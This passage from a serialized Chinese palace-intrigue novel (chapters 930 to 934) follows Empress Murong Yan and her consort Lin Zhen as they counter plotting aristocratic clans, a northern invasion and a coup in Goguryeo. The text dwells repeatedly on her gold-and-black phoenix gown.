密室内,毒计一条条被拟定,一张针对慕容嫣和林臻的无形大网,正悄然织就。他们甚至开始秘密联络那些对慕容嫣灭国心存怨恨的齐国、蛮族旧部,许以重利,企图内外勾结。 这些密谋的消息,通过无孔不入的暗卫,比世家预想的更快,便摆在了慕容嫣的案头。 然而,与世家想象中慕容嫣会暴跳如雷不同,此刻的凤寰宫寝殿,却是一派闲适慵懒。傍晚时分,夕阳的余晖透过窗纱,为殿内镀上一层暖金色。 慕容嫣刚刚小憩醒来,?身穿着那件黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,?正慵懒地侧卧在临窗的软榻上。林臻坐在榻边,手中拿着一把玉梳,正轻柔地为她梳理着那长及臀际、如瀑的墨发。 ?神凤降世裙在夕阳暖光下,泛着一种慵懒华贵的光泽。?极致玄黑的苏锦底料吸吮着金色的光芒,呈现出暖调的墨色。 织入的金色棉绒与真金线则流淌着更加温暖柔和的辉光。?睡裙之上,那只擎天巨凤也收敛了日间的锐气,凤羽在光下显得柔软而蓬松。 ?宽大轻盈的喇叭袖一只垂落榻边,另一只则搭在林臻的膝上。 她左手拇指上的墨玉扳指,被夕阳映照得通透温润。 而那长达五丈的苏锦拖尾,?随意地铺散在榻下铺设的昂贵波斯地毯上,?墨金色与地毯繁复的图案交织,?如同慵懒流淌的岩浆。? 棉质的舒适让她在夏日傍晚显得格外惬意。 “夫君…”慕容嫣闭着眼,?享受着发丝被温柔对待的感觉,?声音带着刚睡醒的沙哑和糯软,“什么时辰了?朕好像睡了很久…” 林臻放下玉梳,指尖拂过她顺滑的发梢,声音温柔:“申时末了。嫣儿睡得可好?” 他拿起一旁温着的蜜水,递到她唇边。 慕容嫣就着他的手喝了一小口,?满足地叹了口气,?这才缓缓睁开眼,?凤眸中水光潋滟,?倒映着林臻关切的脸庞。“嗯,有夫君在身边朕总能睡得很安稳。” 她伸出手,?轻轻握住林臻的手,?指尖戴着墨玉扳指,?在他掌心挠了挠。 这时,一名心腹宫女悄无声息地入内,将一份密封的奏报呈上,然后迅速退下。 林臻接过,拆开火漆,快速浏览了一遍,眉头微不可察地蹙了一下,随即恢复平静。他将奏报递给慕容嫣:“嫣儿,暗卫急报。那群老鼠到底还是忍不住凑到一起了。” 慕容嫣并未立刻去接,?而是慵懒地打了个哈欠,?仿佛对奏报的内容毫不关心。“哦?都谁去了?又憋了什么坏水?” 她的语气,像是在谈论天气。 林臻将奏报内容简要叙述了一遍,包括世家的诅咒、经济破坏计划、政务拖延以及试图离间他们的阴谋。 慕容嫣静静地听着,?脸上没有丝毫意外的表情,?甚至嘴角还勾起了一抹极淡的、玩味的弧度。 “星象有异?妖凤临朝?制造钱荒?拖延政务?离间我们?” 她轻轻重复着,?仿佛在听一个拙劣的笑话。 她终于伸出手,?用两根手指,?拈起那份奏报,?随意地扫了几眼,?然后,?竟轻笑起来,?笑声清脆,?却带着刺骨的寒意。“真是难为他们了,凑在一起就想出这么些老掉牙的玩意儿。” 她将奏报随手丢在榻边的小几上,?仿佛那是什么脏东西。 “诅咒要是有用,朕早就死过千百回了。经济手段?呵呵,朕能发行新币,就能控制物价,他们囤积铜钱?正好,朕下一道旨意,以旧换新,折价兑换,看谁吃亏!” 她语速不快,却条理清晰,直指要害。 “至于拖延政务…”慕容嫣眼中闪过一丝冷光, “传旨给内阁,成立新政督察司,由寒门子弟和青年将领组成,赋予他们直接越级上报、核查政务执行之权!凡有拖延推诿者,督察司有权先行停职查办!朕倒要看看,是他们拖得快,还是朕的刀子快!” “还有,想离间我们?”慕容嫣忽然转过身,?面向林臻,?双臂环住他的脖颈,?凤眸直直地望进他眼底,?语气带着一丝撒娇般的霸道, “…夫君,你会信那些鬼话吗?” 林臻看着她近在咫尺的容颜,眼中是毫无保留的信任与深情,他低头,在她唇上印下一个轻柔而坚定的吻: “为夫只信嫣儿。任何离间之言,在我耳中,皆如犬吠。” 慕容嫣满意地笑了,?那笑容明媚,?驱散了方才的冰冷。她将脸埋在他颈窝,?闷闷地说?:“朕就知道…” 过了一会儿,她抬起头,?眼中闪烁着狡黠的光芒,“…不过他们既然这么喜欢玩阴的,朕就陪他们玩玩。” 她对林臻说?:“夫君,让暗卫把他们密会的时间、地点、参与人员不小心泄露给跟他们有仇的、或者想投靠朕的小家族知道,再暗示一下朕最近很看重忠诚。” 这一招,是典型的借刀杀人、分化瓦解! 让世家内部先乱起来! 林臻眼中闪过赞赏:“妙计。为夫这就去安排。” “不急。”慕容嫣拉住他,?重新慵懒地靠回引枕,“天快黑了,朕饿了,夫君陪朕用膳…” “好。”林臻宠溺地应道,挥手示意宫人传膳。 晚膳摆上,皆是慕容嫣喜爱的清淡菜式。慕容嫣却没什么胃口,?只吃了几口,?便推开碗筷。 林臻也不勉强,?亲自盛了一小碗冰糖燕窝,?一勺一勺地喂她。 殿内烛火通明,映照着相依的两人。 慕容嫣小口吃着燕窝,?目光偶尔扫过窗外渐浓的夜色,?眼神深邃。 她知道,世家的反扑已经开始,但她丝毫不惧。 反而,这种掌控全局、将敌人玩弄于股掌之间的感觉,让她有一种病态的兴奋。 用完膳,慕容嫣站起身,?想到窗边透透气。她刚走出两步,?似乎想起什么,?猛地回身?! 动作带着一种不容置疑的威仪! 那轻盈华贵的五丈苏锦拖尾因这突然的回转被猛地带起,墨金色的巨幅裙摆如同感知到猎物的凤凰之翼,轰然展开,?唰啦一声扫过柔软的地毯!?? 随着裙摆的骤然飘起——赫然露出了里面那金线密织、在烛光下璀璨夺目的“满地织金”内衬!?? 金光流转,百凤朝阳的纹路在瞬间亮起,尊贵、耀眼,且带着洞悉一切阴谋的冰冷与嘲讽! 裙摆落下,华光内敛于沉静的墨色。 慕容嫣看着林臻,?嘴角勾起一抹意味深长的笑容?:“夫君,看来这个夏天,不会无聊了。” 林臻走到她身边,握住她的手:“有嫣儿在,为夫永远不觉得无聊。” 两人相视一笑,携手走向寝殿深处。 窗外,夜色如墨,暗流涌动;窗内,温情缱绻,杀机暗藏。 这场由世家率先挑起的、没有硝烟的战争,才刚刚进入更为激烈的中盘。 而那身?神凤降世裙?,依旧如影随形,见证着它的主人,如何在这错综复杂的棋局中,步步为营。 第931章 忍不住跳出来了 圣徽元年的夏日,在表面的平静下,暗涌终于化为了实质的波澜。 慕容嫣对世家“结网”行为的冷处理与反向利用,并未能完全遏制住狗急跳墙般的反扑。 相反,世家们见散布谣言、经济掣肘等手段收效甚微,反而引来了慕容嫣更凌厉的分化瓦解(如利用小家族反噬)后,终于将他们最恶毒的一步棋,摆上了台面——与漠北蛮族里应外合。 边关的急报,在一个闷热的午后,如同惊雷般传入了皇城。 不是小股骑兵的骚扰,而是漠北鞑靼部汗王巴特尔,亲率五万精锐骑兵,突然越过边境,兵分两路,一路佯攻重镇“镇北关”,另一路主力则绕过险要,突袭防御相对薄弱的“朔风城”! 攻势迅猛,且显然对边境布防了如指掌。 更令人心惊的是,朔风城守将麾下的一名副将,竟在敌军兵临城下时,突然叛变,打开城门引敌入城! 虽经血战,朔风城最终失守,守将力战殉国。而那名叛变的副将,经查,正是出身范阳卢氏的一个旁支子弟! 消息传来,朝野震动! 这已不再是边境摩擦,而是赤裸裸的入侵,并且有内奸接应! 慕容嫣一直担忧的“内外勾结”,以最惨烈的方式变成了现实。 然而,当这份染血的八百里加急军报被火速送入凤寰宫时,宫内的气氛,却与外界的紧张和悲愤截然不同。 寝殿内,为了抵御暑热,四角摆放着巨大的冰鉴,散发着丝丝寒气,与殿外炎炎夏日形成鲜明对比。 慕容嫣并未因军情紧急而换上戎装或朝服,?依旧只穿着那身轻薄透气、却华美尊贵不减分毫的黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,?正慵懒地半躺在置于殿中通风处的凉榻上。 凉榻以寒玉为面,铺着光滑的竹席,极为凉爽。 林臻坐在榻边的小凳上,手中拿着一柄巨大的孔雀羽扇,正不疾不徐地为她扇着风。他的动作沉稳,眼神却比平日更为锐利,显然已先一步知晓了军情。 ?神凤降世裙在冰鉴散发的冷气与透过窗纱的夏日强光共同作用下,呈现出一种奇特的华美。 ?极致玄黑的苏锦底料仿佛能吸收一切热量,呈现出一种深渊般的凉意,织入的金色棉绒与真金线则在光线下流淌着冰冷而璀璨的暗金波光,神秘、高贵,与这炎夏和紧急军报的氛围形成诡异对比。 ?睡裙之上,那只擎天巨凤的羽翼似乎在冷气中凝滞,赤金线绣成的凤羽层叠,尊贵威严中透出冻结一切的冷静。凤眸上的黑钻,反射着冰鉴的寒光。? 宽大轻盈的喇叭袖一只垂落榻边,另一只则搭在慕容嫣屈起的膝上。她左手拇指上的墨玉扳指,触感冰凉。 而那长达五丈的苏锦拖尾,?并未铺在凉榻上,?而是迤逦地垂落榻边,?直接铺在光洁如镜、沁着凉意的墨玉地板上,?墨金色的锦缎在冷硬的地面上,?更显沉静与华丽。 ?棉质的吸湿透气与睡裙的宽松,让她在闷热的天气和紧急军情下,依然保持着一份异乎寻常的镇定与舒适。 一名内侍监跪在榻前十步之外,双手高举着那份紧急军报,声音颤抖地禀报着朔风城失守、守将殉国、卢氏子弟叛变的噩耗。 慕容嫣静静地听着,?脸上没有任何表情,?既无震惊,?也无愤怒,?甚至连睫毛都未曾颤动一下。她只是微微抬起手,?示意林臻暂停扇风。 林臻放下羽扇,目光沉静地看向她。 内侍监禀报完毕,伏地不敢起身,殿内一片死寂,只有冰鉴融化的水滴偶尔滴落的声音。 良久,慕容嫣才轻轻“嗯”了一声,?声音慵懒,?仿佛刚听了一件无关紧要的小事。她甚至没有去接那份军报,?而是对林臻伸出了手。 林臻会意,将羽扇递还给她。慕容嫣接过羽扇,?随意地扇了两下,?宽大喇叭袖随之轻轻摆动。她的目光,?却越过跪地的内侍,?投向了殿角那座巨大的、标注着北疆地形的沙盘。 “朔风城丢了?”她轻声问,?语气平淡得像在确认天气。 “是的陛下!卢氏逆贼叛国,引蛮入寇,赵将军他”内侍监声音哽咽。 “知道了。”慕容嫣打断他,?语气依旧没什么波澜,“卢家果然还是忍不住跳出来了。” 她的嘴角,?甚至勾起一抹极淡的、冰冷的弧度,?那不是笑,?而是一种意料之中的嘲讽。 她缓缓坐起身,?将羽扇交给林臻,?然后,?赤着双足,?踩在冰凉的地板上,?向着沙盘走去。 那五丈长的拖尾在她身后无声地滑动。 走到沙盘前,她静静地凝视着代表朔风城的那座微小模型,?看了许久。 沙盘上,代表漠北骑兵的黑色小旗,已经插在了朔风城上。 林臻默默走到她身边,递上一根细长的金杆。 慕容嫣接过金杆,?用戴着墨玉扳指的指尖,?轻轻点着沙盘上敌我双方的态势。“巴特尔倒是会选地方。 朔风城虽非第一险关,但地处要冲,一旦失守,可东可西,牵制我大量兵力。” 她的声音冷静得像是在分析棋局。 “而且,”林臻接口,语气凝重,“内有叛徒接应,说明世家与漠北的勾结已深。此次入侵,恐怕只是开始。” “开始?”慕容嫣轻笑一声,?金杆在沙盘上轻轻划动,“也好省得朕一个个去找了。” 她的金杆点向镇北关,“传令镇北关守将,紧闭城门,严防死守,没有朕的旨意,一兵一卒不得出关迎战。巴特尔若敢强攻,就给朕用雷神炮狠狠地轰!” 她的金杆又移向朔风城两侧,“令左右两翼的飞羽军、铁林军即刻向朔风城靠拢,但不必急于攻城,在外围构筑防线,切断其与漠北的联系和粮道。朕要把他这五万人变成瓮中之鳖!” 最后,她的金杆重重地点在代表范阳的那个点上,?眼神瞬间变得冰冷刺骨?: “至于卢家传朕旨意,范阳卢氏,通敌叛国,罪证确凿,夷三族!即刻查抄所有家产,男丁尽数斩首,女眷没入教坊司!将其罪状,明发天下!朕要让所有人看看,背叛朕背叛大乾是什么下场!” 这道命令,血腥而果决,没有丝毫犹豫。这不仅是惩罚,更是杀鸡儆猴,是对所有心怀异志的世家的最严厉警告! “还有,”慕容嫣的金杆在沙盘上代表漠北王庭的远处画了一个圈,“告诉巴特尔朕谢谢他帮朕清理门户。顺便问问他给他儿子准备的棺材喜欢什么木料的?朕可以送他一副。” 这充满极致羞辱的回应,与她此刻慵懒的装扮形成了惊心动魄的反差。 命令一条接一条,清晰、冷酷、精准。没有惊慌,没有愤怒,只有一种掌控全局的冷静和顺带清理垃圾般的漠然。 下达完命令,慕容嫣似乎有些累了。她将金杆丢回沙盘,?转身,?面向林臻。 就在她转身的瞬间—— 动作带着决断后的轻松! 那轻盈华贵的五丈苏锦拖尾因这转身被带动,墨金色的巨幅裙摆如同凯旋而归的凤凰之翼,优雅地展开,?唰啦一声拂过冰凉的地面!?? 随着裙摆的骤然飘起——赫然露出了里面那金线密织、在殿内光线下熠熠生辉的“满地织金”内衬!??金光流转,百凤朝阳的纹路在瞬间闪耀,尊贵、耀眼,且带着碾碎一切来犯之敌的绝对自信! 裙摆落下,华光内敛于沉静的墨色。 慕容嫣走到林臻面前,?伸手环住他的腰,?将头靠在他胸前,?声音里带着一丝倦意,?却不再是慵懒,?而是运筹帷幄后的疲惫?:“夫君朕有点冷” 林臻心中一震,立刻将她紧紧拥入怀中,用自己身体的温度温暖她。他知道,她的冷,并非来自殿内的冰鉴,而是来自刚才那番杀伐决断所带来的、深入骨髓的孤寂与寒意。 “为夫在。”他低声说,声音沉稳而坚定,“嫣儿做得对。非常时期,需用重典。卢家,是自取灭亡。” 慕容嫣在他怀里轻轻“嗯”了一声,?过了好一会儿,?才闷闷地说?:“朕知道只是又要死很多人了” 这一刻,她似乎卸下了帝王的冷酷,流露出了一丝属于“嫣儿”的脆弱。但这脆弱,转瞬即逝。 她抬起头,?眼神已恢复平静?:“夫君陪朕去用点羹汤吧然后我们还得好好想想怎么招待巴特尔这位远道而来的客人” 林臻点头,拥着她向偏殿走去。那迤逦的五丈拖尾,?在身后,?如同一条墨金色的河流,?无声地流淌过布满杀机的沙盘,?流向充满温情的膳桌。 窗外,北疆烽火连天;窗内,帝后相依共膳。战争已然升级,而慕容嫣的应对,才刚刚开始。那身?神凤降世裙?,依旧是她最华美的战袍,见证着她在温情与杀戮之间,从容切换。 第932章 再用些力 圣徽元年的夏夜,闷热中透着一丝山雨欲来的压抑。 卢氏被夷三族的血腥气息尚未散尽,朝野上下噤若寒蝉。 但慕容嫣深知,这雷霆手段震慑的只是明面上的反抗,那些盘根错节的百年世家,如同受伤的毒蛇,只会将仇恨埋得更深,反击的手段也会更加阴险难防。 而北疆,巴特尔占据了朔风城,虽成瓮中之鳖,但困兽犹斗,且其与境内世家的勾结究竟到了何种程度,仍是未知之数。 然而,凤寰宫寝殿内,却是一派与外界的紧张截然相反的静谧。 巨大的冰鉴散发着森森寒气,驱散了暑热,殿内烛火通明,却只映照出相依的两人身影。 慕容嫣沐浴后,?肌肤还带着水汽的润泽,?便由宫女伺候着,?穿上了那身与她形影不离的黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙。 丝滑的棉质面料贴合着身体,带来舒适的清凉感。 她慵懒地侧卧在窗边的软榻上,?榻上铺着凉滑的玉簟。 林臻并未坐在一旁,而是屈膝半跪在榻前的地毯上,?手中捧着她一只雪白的玉足,?正用浸了玫瑰香露的温热湿巾,?极其细致地,?为她擦拭按摩。 他的动作专注而温柔,仿佛在对待一件易碎的珍宝,指尖力道恰到好处,揉按着她足底的穴位。 ?神凤降世裙在烛光下流淌着静谧的华光。 ?极致玄黑的苏锦底料吸吮着光线,色泽沉静如子夜;织入的金色棉绒与真金线则流淌着温暖的暗金波光。 ?睡裙之上,那只擎天巨凤在室内光线下敛去了沙场的戾气,凤羽层叠,更显华贵雍容。?宽大轻盈的喇叭袖一只软软垂落榻边,另一只则覆在她屈起的小腿上。 她左手拇指上的墨玉扳指,在烛光下泛着温润的光泽。 而那长达五丈的苏锦拖尾,?一部分铺在榻上,?更多的则迤逦地垂落榻边,?铺满了林臻膝前那一方昂贵的波斯地毯,?墨金色的锦缎与他月白色的常服形成了鲜明而和谐的对比。 “夫君,”慕容嫣闭着眼,?长睫在眼睑下投下淡淡的阴影,?声音带着沐浴后的慵懒沙哑,“再用些力,脚踝有些酸。” “好。”林臻低声应道,手上力道稍稍加重,指腹精准地按压着她纤细的脚踝,那里似乎因久站或某种不易察觉的紧绷而有些僵硬。 “是这里吗?可是今日批阅奏章久了?”他的语气充满了心疼。 “嗯,”慕容嫣含糊地应了一声,?并未多言。 她享受着这难得的静谧与伺候,?仿佛窗外北疆的战火与朝堂的暗涌都与她无关。 只有微微蹙起的眉心,泄露了一丝她内心的思虑。 就在这时,殿外传来极轻的叩门声,随即是暗卫统领低沉的声音:“陛下,亲王,北疆与各地最新密报至。” 慕容嫣缓缓睁开眼,?眸中慵懒之色褪去,?恢复了一片清明。 她并未立刻起身,?只是轻轻动了动被林臻握着的脚。 林臻会意,细心为她套上柔软的丝履,然后起身,走到殿门边,接过暗卫统领递进来的几封密函,挥手让其退下。 他回到榻边,并未急着呈上密函,而是先倒了一杯温热的参茶,递到慕容嫣手中。 “嫣儿,先喝口茶润润喉。” 慕容嫣接过茶杯,?小口啜饮着,?目光却已落在了林臻手中的密函上。 待她喝完茶,林臻才将密函一一展开,铺在榻上的小几上,方便她观看。 密函内容繁杂:有关于巴特尔在朔风城加固城防、搜集粮草的情报。 有关于其他世家(如太原王氏、清河崔氏)在卢家被灭门后异常安静、但暗中资金流动频繁的迹象;还有各地推行新政遇到的或明或暗的阻力汇总。 慕容嫣静静地看着,?脸上没有任何表情,?指尖戴着墨玉扳指,?在密函上轻轻划过。 殿内只闻烛火噼啪声和她偶尔翻动纸页的细微声响。 良久,她才轻轻吁出一口气,?身体向后靠入引枕,?揉了揉太阳穴。 “巴特尔倒是沉得住气。看来是想凭朔风城跟朕耗下去。”她的语气听不出喜怒。 “困兽之斗,徒劳无功。我大军已合围,粮道被断,他撑不了多久。”林臻沉声道,语气笃定。 “朕知道他撑不了多久。”慕容嫣的目光转向另一份关于世家动向的密报,?嘴角勾起一抹冰冷的弧度, “朕好奇的是王家、崔家这次会用什么法子来救他们的‘盟友’?或者是急着撇清关系?” 她伸出食指,?点着密报上“资金异动”几个字, “查清楚这些钱流到哪里去了。是去了漠北?还是用来收买朕的官员?或者另有所图?” “为夫已令暗卫加紧追查。一有消息,立刻回报。”林臻答道,同时伸手为她按揉着太阳穴,力道轻柔。 慕容嫣舒服地闭上眼,?享受着他的按摩,?思维却异常清晰?:“传令给围城的将领,不必强攻,以免伤亡过大。 继续围困,同时派人散播消息,就说卢家通敌,已被朕满门抄斩,巴特尔已是孤军,若肯献城投降,朕或可饶他麾下士卒性命。” 这是攻心之计。 “另外,”她继续道,声音慵懒却带着不容置疑的决断, “告诉那些还在观望、或者暗中使绊子的官员,卢家就是前车之鉴。朕的新政,推行不利者,罢官夺职;阳奉阴违者,以同党论处!朕倒要看看,是他们的脖子硬,还是朕的刀快。” 对内的铁腕,毫不放松。 “至于王家、崔家。” 慕容嫣忽然轻笑一声,?睁开眼,?眼中闪过一丝狡黠, “先不必动他们。朕还要留着他们钓更大的鱼。传旨,朕要遴选才俊,充实翰林院和六部观政,尤其要多给那些与世家无甚瓜葛的寒门子弟机会。” 这是釜底抽薪,从根本上动摇世家垄断仕途的根基。 一条条指令,从她慵懒的姿态中流出,却精准地指向问题的核心。她没有因为北疆战事而忽略内部隐患,也没有因为内部斗争而放松对敌人的压迫。 下达完指令,慕容嫣似乎耗尽了心神,?脸上露出一丝疲惫。她挥挥手,?示意林臻将密函收走。 林臻迅速收拾好一切,然后回到榻边,见她神色倦怠,便柔声道:“嫣儿劳神了,夜已深,该歇息了。” 慕容嫣点了点头,?向他伸出手。林臻俯身,欲将她抱起。 然而,慕容嫣却摇了摇头,?自己撑着榻沿,?缓缓站起身。她刚一站稳,?似乎想到什么,?猛地回身看向沙盘的方向! 动作带着一种决断后的释然与威仪! 那轻盈华贵的五丈苏锦拖尾因这突然的回转被猛地带起,墨金色的巨幅裙摆如同凤凰振翅,优雅而有力地展开,?唰啦一声扫过柔软的榻面与地毯!?? 随着裙摆的骤然飘起——赫然露出了里面那金线密织、在烛光下璀璨夺目的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间闪耀,金光流淌,尊贵、耀眼,仿佛将她方才所有的谋划与决断都凝聚于这惊鸿一瞥之中! 裙摆落下,华光内敛。 慕容嫣却不再看沙盘,?转身,?步履有些蹒跚地走向林臻,?声音带着浓浓的倦意?:“夫君抱朕” 林臻立刻上前,将她打横抱起。 慕容嫣顺从地依偎在他怀里,?双臂环住他的脖颈,?将脸贴在他温暖的胸膛上,?像个寻求依靠的孩子。? 那五丈长的拖尾,?垂落下来,?随着林臻的步伐,?在身后迤逦摆动。 “夫君,”她在他怀里闷闷地说,“朕只有你了。” 林臻心中一痛,将她抱得更紧,走向寝殿深处的龙榻:“为夫在,永远都在。嫣儿睡吧,一切有为夫。” 殿内烛火次第熄灭,只留一盏长明灯。 窗外,夜色深沉,北疆的战火与世家的阴谋仍在继续。 第933章 辽东道八百里加急密报 圣徽元年的盛夏,蝉鸣聒噪,天气闷热得让人透不过气。 北疆朔风城依旧被重兵围困,巴特尔已成瓮中之鳖,但困兽犹斗,战事呈胶着状态。 慕容嫣以卢氏鲜血浇铸的威慑,让国内世家暂时陷入了死寂般的蛰伏,朝堂之上,无人再敢明着对新政说一个“不”字。 然而,这种沉寂,并非臣服,而是暴风雨前令人窒息的宁静。 慕容嫣与林臻都清楚,那些盘根错节的势力,绝不会坐以待毙,他们如同暗河下的毒蛇,正在寻找新的突破口。 果然,一份来自辽东的加急密报,如同投入死水潭的石子,激起了新的涟漪。密报并非关于北疆,而是来自大乾的东方属国——高句丽。 夜幕初垂,凤寰宫寝殿内却因四角巨大的冰鉴而凉爽如秋。 慕容嫣刚刚与林臻对弈一局,?似乎有些倦了,?正慵懒地倚在窗边的软榻上,?身穿着那件仿佛与她肌肤相亲的黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙。 林臻则坐在榻边,手中拿着一把团扇,轻轻地为她扇着风,目光温柔地落在她微阖的眼睑上。 ?神凤降世裙在夜明珠柔和的光线下,流淌着静谧而华贵的光泽。 ?极致玄黑的苏锦底料吸吮着光线,色泽沉静如子夜,织入的金色棉绒与真金线则泛着幽幽的暗金波光,神秘而高贵。 ?睡裙之上,那只擎天巨凤在静谧的夜晚敛去了所有锋芒,凤羽层叠,线条流畅,更显雍容华贵,如同栖息中的神鸟。 凤眸上的黑钻,光泽内敛。 ?宽大轻盈的喇叭袖一只软软垂落榻边,另一只则搭在林臻正在扇风的手腕上。她左手拇指上的墨玉扳指,触感温凉。 而那长达五丈的苏锦拖尾,?并未刻意铺展,?而是迤逦地、甚至有些凌乱地铺满了榻前一大片光滑如镜的墨玉地板,?墨金色的锦缎在冷色的地面上,?如同泼洒的墨迹,?华美中带着一丝慵懒的随意。? 棉质的柔软透气与睡裙的宽松设计,让她在夏夜保持舒爽。 “夫君,今日这棋下得朕头疼。”慕容嫣闭着眼,?声音带着一丝撒娇般的抱怨,?全无朝堂上的威仪。 林臻低笑,声音醇厚温柔:“是嫣儿让着为夫了。若论棋力,为夫远不及嫣儿万一。” 他放下团扇,伸手为她轻轻揉按着太阳穴, “可是这几日政务太劳神了?” 慕容嫣享受着他的按摩,?鼻间轻轻“嗯”了一声,?像只被顺毛的猫儿。 就在这温情脉脉之际,殿外传来心腹宫女极轻的叩门声和禀报:“陛下,辽东道八百里加急密报。” 殿内温馨的气氛微微一凝。慕容嫣缓缓睁开眼,?眸中慵懒之色褪去,?闪过一丝锐光。 林臻的按摩的手也微微一顿。 “进来。”慕容嫣声音平静,?并未起身。 宫女躬身入内,将一封火漆密封的羊皮纸筒呈上,然后悄无声息地退下。 林臻接过密报,拆开火漆,快速浏览了一遍,眉头微不可察地蹙起,随即恢复平静。 他将密报递给慕容嫣:“嫣儿,高句丽王病重,其弟摄政王高云突然发难,软禁了世子,控制了王城。而且密报称,高云近月与太原王氏、清河崔氏的商队往来异常频繁,接收了大量来自中原的‘礼物’,其中疑似夹带军械图样和工匠名册。” 高句丽,大乾东境最重要的属国,一旦有变,将直接威胁辽东安稳,甚至可能让慕容嫣陷入东西两线作战的困境! 而背后,赫然又出现了世家的影子! 他们竟将手伸向了境外! 慕容嫣静静地听着,?脸上没有任何意外的表情,?甚至嘴角还勾起了一抹极淡的、冰冷的弧度。她没有立刻去看密报,?而是伸出戴着墨玉扳指的食指,?在榻边的紫檀木小几上,?有一下没一下地轻轻敲击着。 “高句丽王氏,崔氏,”她轻声重复着,?仿佛在品味这几个字之间的联系。“真是一刻也不让朕消停,” 她的语气,听不出喜怒,反而带着一种意料之中的厌倦。 林臻沉声道:“高云狼子野心,世家此举,是想在东方给嫣儿制造麻烦,牵制我军兵力,甚至可能想开辟第二战场。” “第二战场?”慕容嫣嗤笑一声,?终于拿起那份密报,?目光快速扫过, “就凭高句丽那点兵马?还有王家、崔家送去的那些破铜烂铁?” 她的语气充满了轻蔑。 她将密报随手丢回小几上,?身体向后靠入引枕,?重新闭上眼睛,?仿佛那封紧急军报只是无关紧要的闲篇。 “高云不过是个跳梁小丑。世家也是病急乱投医了。” 她顿了顿,?语气慵懒地吩咐, “夫君传旨给辽东镇守大将李信让他紧闭关卡,加强戒备,但没有朕的旨意,一兵一卒不得入高句丽境内。” “按兵不动?”林臻微微挑眉,随即了然,“嫣儿是想静观其变?让高云先跳?” “不错。”慕容嫣嘴角那抹冰冷的弧度加深, “高云篡位,名不正言不顺,高句丽国内未必心服。我们若急着插手,反而会让他借‘抵御外侮’之名整合内部。不如先让他自己折腾等他把内部反对声音清理得差不多了也把王家、崔家送去的‘援助’消耗得差不多了我们再动手岂不省力?” 这是典型的以逸待劳、后发制人! “至于王家、崔家,”慕容嫣的指尖轻轻点着桌面,?发出清脆的微响,“他们既然这么喜欢资助外人那朕就成全他们。” 她睁开眼,?眼中闪过一丝狡黠的杀机,“传令暗卫,将王家、崔家与高句丽勾结的证据‘不小心’泄露给高句丽那位被软禁的世子残余势力知道再暗示一下朕很同情世子的遭遇。” 这一招,是驱虎吞狼,祸水东引! 让高句丽内部的争斗,去消耗世家的资源! 林臻眼中闪过赞赏的光芒:“妙计!如此一来,高云必视世子旧部为心腹大患,全力清剿,而世子旧部得知背后有中原世家支持高云,必然恨之入骨。无论哪方胜出,都将元气大伤,且与世家结下深仇。我朝可坐收渔利。” “还有,”慕容嫣补充道,?语气依旧慵懒,?却字字如刀, “让李信在边境组织几场‘军事演习’规模搞大一点炮声要响旗帜要鲜明让高句丽那边晚上能看见火光听得见动静。” 这是武力威慑,不战而屈人之兵! “至于王家、崔家。”慕容嫣的目光变得幽深,“先不必动他们。让他们继续蹦跶朕倒要看看他们还能玩出什么花样等他们把这出戏唱到高潮朕再好好给他们算总账。” 她的策略,充满了冷酷的耐心和精准的算计。 她不急于一时,而是要放长线,钓大鱼,将内外敌人一并引入彀中,然后一网打尽! 下达完指令,慕容嫣似乎真的累了。 她挥挥手,?示意林臻将密报收走。 然后转过身,?面向林臻,?伸出双臂,?语气带着浓浓的倦意和依赖?:“夫君抱朕,朕困了。” 就在她转身的瞬间—— 动作带着一种将烦心事抛诸脑后的决绝! 那轻盈华贵的五丈苏锦拖尾因这突然的回转被猛地带起,墨金色的巨幅裙摆如同凤凰振翅,优雅而有力地展开,?唰啦一声扫过光滑的榻面与冰凉的地板!?? 随着裙摆的骤然飘起——赫然露出了里面那金线密织、在夜明珠光下流光溢彩的“满地织金”内衬!?? 百凤朝阳、缠枝莲纹在瞬间闪耀,金光璀璨,尊贵、耀眼,仿佛将她方才所有的谋略与决断,都凝聚于这惊鸿一瞥的华美之中! 裙摆落下,华光内敛于沉静的墨色。 林臻立刻上前,将她打横抱起。慕容嫣顺从地依偎在他怀里,?双臂环住他的脖颈,?将脸埋在他胸前,?像个寻求庇护的孩子。 ?那五丈长的拖尾,?垂落下来,?随着林臻稳健的步伐,?在身后迤逦摆动,?在寂静的殿内,?发出细微的摩挲声。 “夫君,”她在他怀里闷闷地说,“东边西边都没完没了,朕只想和你安安静静地待着。” 林臻心中涌起无限爱怜,将她抱得更紧,走向寝殿深处的龙榻:“好,为夫陪着你。天塌下来,有为夫顶着。嫣儿睡吧。” 殿内烛火次第熄灭,只留一盏长明灯散发着朦胧的光晕。 第934章 一卷兵书 圣徽元年的夏末,几场秋雨提前而至,洗去了些许暑气,却给长安城带来一股湿冷的沉闷。 北疆战事胶着,东境高句丽暗流汹涌,而帝国的腹地,看似平静的湖面之下,世家大族酝酿的反扑,终于不再局限于密谋与诅咒,开始化为实质的、无声无息的侵蚀。 这侵蚀,并非刀兵相见,却更为阴险难防。 这一日,秋雨淅沥,敲打着凤寰宫的琉璃瓦,发出清脆而单调的声响。殿内因雨天更显昏暗,早早便点燃了宫灯。 慕容嫣并未因天气阴沉而情绪低落,?反而似乎很享受这雨天的静谧。 她身穿着那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,?并未像往常一样倚在榻上,?而是端坐在临窗的书案前。 案上堆着一些并非紧急的奏章和几卷闲书。 林臻则坐在她身侧稍后一些的圆凳上,手中拿着一卷兵书,目光却更多落在慕容嫣身上。 窗外雨声潺潺,殿内烛火摇曳,气氛安宁得近乎温馨。 ?神凤降世裙在雨天昏暗的光线下,呈现出一种不同于往日的光泽。?极致玄黑的苏锦底料吸吮着烛火暖光,色泽愈发沉静深邃,仿佛能吸纳一切声响。 织入的金色棉绒与真金线则在光下流淌着湿润而温暖的暗金波光,神秘高贵中透出一丝居家的暖意。? 睡裙之上,那只擎天巨凤的羽翼在雨声中也仿佛收敛了锋芒,更显华贵雍容。?宽大轻盈的喇叭袖,袖口被她轻轻挽起一些,露出小半截雪白的手腕,便于她翻阅书卷。 